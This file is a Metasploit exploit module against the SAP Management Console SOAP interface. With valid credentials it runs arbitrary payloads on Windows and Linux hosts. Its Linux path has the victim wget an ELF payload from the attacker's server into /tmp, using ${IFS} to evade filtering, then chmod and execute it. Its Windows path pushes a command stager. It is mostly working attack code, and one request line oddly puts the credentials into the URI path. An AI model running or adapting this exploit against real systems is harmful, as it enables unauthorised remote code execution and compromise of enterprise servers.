##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	HttpFingerprint = { :pattern => [ /gSOAP\/2.7/ ] }

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::HttpServer
	include Msf::Exploit::CmdStagerVBS
	include Msf::Exploit::EXE
	include Msf::Exploit::FileDropper

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SAP Management Console OSExecute Payload Execution',
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Chris John Riley', # Original module, windows target
					'juan vazquez' # Linux target
				],
			'Description'    => %q{
					This module executes an arbitrary payload through the SAP Management Console
				SOAP Interface.  A valid username and password for the SAP Management Console must
				be provided. This module has been tested successfully on both Windows and Linux
				platforms running SAP Netweaver. In order to exploit a Linux platform, the target
				system must have available the wget command.
			},
			'References'     =>
				[
					[ 'URL', 'http://blog.c22.cc/toolsscripts/metasploit-modules/sap_mgmt_con_osexecute/' ]
				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
				},
			'Payload'        =>
				{
					'BadChars' => "\x00\x3a\x3b\x3d\x3c\x3e\x0a\x0d\x22\x26\x27\x2f\x60\xb4",
				},
			'Platform'       => ['win', 'linux'],
			'Targets'        =>
				[
					[ 'Linux',
						{
							'Arch'     => ARCH_X86,
							'Platform' => 'linux'
						}
					],
					[ 'Windows Universal',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'win'
						},
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Mar 08 2011'
		))

		register_options(
			[
				Opt::RPORT(50013),
				OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
				OptString.new('USERNAME', [true, 'Username to use', '']),
				OptString.new('PASSWORD', [true, 'Password to use', '']),
				OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the Linux payload from' ]),
				OptString.new('DOWNFILE', [ false, 'Filename to download when using Linux target, (default: random)' ]),
				OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])
			], self.class)
		register_advanced_options(
			[
				OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', '7500']),
			], self.class)
		register_autofilter_ports([ 50013 ])
	end

	def autofilter
		false
	end

	def check
		begin
			res = send_soap_request("")
		rescue ::Rex::ConnectionError
			return Exploit::CheckCode::Safe
		end

		if res and res.code == 200 and res.headers['Server'] =~ /gSOAP/ and res.body =~ /OSExecuteResponse/
			return Exploit::CheckCode::Vulnerable
		elsif res and res.code == 500 and (res.body =~ /Invalid Credentials/ or res.body =~ /Permission denied/)
			return Exploit::CheckCode::Detected
		elsif res and res.headers['Server'] =~ /gSOAP/
			return Exploit::CheckCode::Unknown
		end

		return Exploit::CheckCode::Safe
	end

	def exploit
		print_status("#{rhost}:#{rport} - Auto Detecting Remote Platform...")
		my_platform = auto_detect
		if my_platform.nil?
			print_error("#{rhost}:#{rport} - Remote Platform not detected, continue anyway...")
		elsif target['Platform'] == my_platform
			print_good("#{rhost}:#{rport} - #{target.name} successfully detected...")
		else
			print_error("#{rhost}:#{rport} - #{target.name} not detected, but #{my_platform}, continue anyway...")
		end

		if target.name =~ /Windows/
			print_status("#{rhost}:#{rport} - Connecting to SAP Management Console SOAP Interface...")
			linemax = datastore['PAYLOAD_SPLIT'] # Values over 9000 can cause issues
			vprint_status("#{rhost}:#{rport} - Using custom payload size of #{linemax}") if linemax != 7500
			execute_cmdstager({ :delay => 0.35, :linemax => linemax })
		elsif target.name =~ /Linux/
			exploit_linux
		end
	end

	def auto_detect
		soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
		xsi = 'http://www.w3.org/2001/XMLSchema-instance'
		xs = 'http://www.w3.org/2001/XMLSchema'
		sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
		ns1 = 'ns1:GetEnvironment'

		data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
		data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '"  xmlns:xsi="' + xsi
		data << '" xmlns:xs="' + xs + '">' + "\r\n"
		data << '<SOAP-ENV:Header>' + "\r\n"
		data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
		data << '<enableSession>true</enableSession>' + "\r\n"
		data << '</sapsess:Session>' + "\r\n"
		data << '</SOAP-ENV:Header>' + "\r\n"
		data << '<SOAP-ENV:Body>' + "\r\n"
		data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 + '>' + "\r\n"
		data << '</SOAP-ENV:Body>' + "\r\n"
		data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"

		begin
			res = send_request_cgi({
				'uri'      => normalize_uri(datastore['URI']),
				'method'   => 'POST',
				'data'     => data,
				'ctype'    => 'text/xml; charset=UTF-8',
				'headers'  =>
					{
						'SOAPAction' => '""'
					}
			})

			if res and res.code == 200 and res.body =~ /OSTYPE=linux/
				return "linux"
			elsif res and res.code == 200 and res.body =~ /OS=Windows/
				return "win"
			else
				return nil
			end
		rescue ::Rex::ConnectionError
			fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
		end

	end

	def send_soap_request(command)

		soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
		xsi = 'http://www.w3.org/2001/XMLSchema-instance'
		xs = 'http://www.w3.org/2001/XMLSchema'
		sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
		ns1 = 'ns1:OSExecute'

		data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
		data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '"  xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
		data << '<SOAP-ENV:Header>' + "\r\n"
		data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
		data << '<enableSession>true</enableSession>' + "\r\n"
		data << '</sapsess:Session>' + "\r\n"
		data << '</SOAP-ENV:Header>' + "\r\n"
		data << '<SOAP-ENV:Body>' + "\r\n"
		data << "<#{ns1} xmlns:ns1=\"urn:SAPControl\"><command>#{command}</command>"
		data << '<async>0</async></' + ns1 + '>' + "\r\n"
		data << '</SOAP-ENV:Body>' + "\r\n"
		data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"

		res = send_request_cgi({
			'uri'     => normalize_uri(datastore['USERNAME'], datastore['PASSWORD']),
			'method'  => 'POST',
			'data'    => data,
			'ctype'   => 'text/xml; charset=UTF-8',
			'headers' =>
				{
					'SOAPAction' => '""'
				}
		})
		return res
	end

	def exploit_linux
		downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
		@pl = generate_payload_exe
		@elf_sent = false

		#
		# start our server
		#
		resource_uri = '/' + downfile

		if (datastore['DOWNHOST'])
			service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
		else
			#do not use SSL
			if datastore['SSL']
				ssl_restore = true
				datastore['SSL'] = false
			end

			#we use SRVHOST as download IP for the coming wget command.
			#SRVHOST needs a real IP address of our download host
			if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
				srv_host = Rex::Socket.source_address(rhost)
			else
				srv_host = datastore['SRVHOST']
			end

			service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
			print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
			start_service({'Uri' => {
				'Proc' => Proc.new { |cli, req|
					on_request_uri(cli, req)
				},
				'Path' => resource_uri
			}})

			datastore['SSL'] = true if ssl_restore
		end

		#
		# download payload
		#
		print_status("#{rhost}:#{rport} - Asking the SAP Management Console to download #{service_url}")
		#this filename is used to store the payload on the device
		filename = rand_text_alpha_lower(8)

		#not working if we send all command together -> lets take three requests
		cmd = "wget #{service_url} -O /tmp/#{filename}"
		cmd.gsub!(/ /, "${IFS}")
		begin
			res = send_soap_request("/bin/sh -c #{cmd}")
		rescue ::Rex::ConnectionError
			fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
		end
		handle_response(res)

		# wait for payload download
		if (datastore['DOWNHOST'])
			print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the SAP Management Console to download the payload")
			select(nil, nil, nil, datastore['HTTP_DELAY'])
		else
			wait_linux_payload
		end
		register_file_for_cleanup("/tmp/#{filename}")

		#
		# chmod
		#
		cmd = "chmod 777 /tmp/#{filename}"
		cmd.gsub!(/ /, "${IFS}")
		print_status("#{rhost}:#{rport} - Asking the SAP Management Console to chmod /tmp/#{filename}")
		begin
			res = send_soap_request("/bin/sh -c #{cmd}")
		rescue ::Rex::ConnectionError
			fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
		end
		handle_response(res)

		#
		# execute
		#
		cmd = "/tmp/#{filename}"
		print_status("#{rhost}:#{rport} - Asking the SAP Management Console to execute /tmp/#{filename}")
		begin
			res = send_soap_request("/bin/sh -c #{cmd}")
		rescue ::Rex::ConnectionError
			fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
		end
		handle_response(res)
	end

	# Handle incoming requests from the server
	def on_request_uri(cli, request)
		#print_status("on_request_uri called: #{request.inspect}")
		if (not @pl)
			print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
			return
		end
		print_status("#{rhost}:#{rport} - Sending the payload to the server...")
		@elf_sent = true
		send_response(cli, @pl)
	end

	# wait for the data to be sent
	def wait_linux_payload
		print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")

		waited = 0
		while (not @elf_sent)
			select(nil, nil, nil, 1)
			waited += 1
			if (waited > datastore['HTTP_DELAY'])
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
			end
		end
	end

	# This is method required for the Windows CmdStager to work
	def execute_command(cmd, opts)

		cmd_s = cmd.split("&") #Correct issue with multiple commands on a single line
		if cmd_s.length > 1
			vprint_status("#{rhost}:#{rport} - Command Stager progress -  Split final payload for delivery (#{cmd_s.length} sections)")
		end

		cmd_s = cmd_s.collect(&:strip)
		cmd_s.each do |payload|
			begin
				res = send_soap_request("cmd /c #{payload.strip}")
			rescue ::Rex::ConnectionError
				fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not access SAP service")
			end
			handle_response(res)
		end
	end

	def handle_response(res)
		if (res and res.code != 500 and res.code != 200)
			fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Invalid server response")
		elsif res and res.code == 500
			body = res.body
			if body.match(/Invalid Credentials/i)
				print_error("#{rhost}:#{rport} - The Supplied credentials are incorrect")
				fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Exploit not complete, check credentials")
			elsif body.match(/Permission denied/i)
				print_error("#{rhost}:#{rport} - The Supplied credentials are valid, but lack OSExecute permissions")
				fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Exploit not complete, check credentials")
			end
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Exploit not complete, OSExecute isn't working")
		end
	end
end
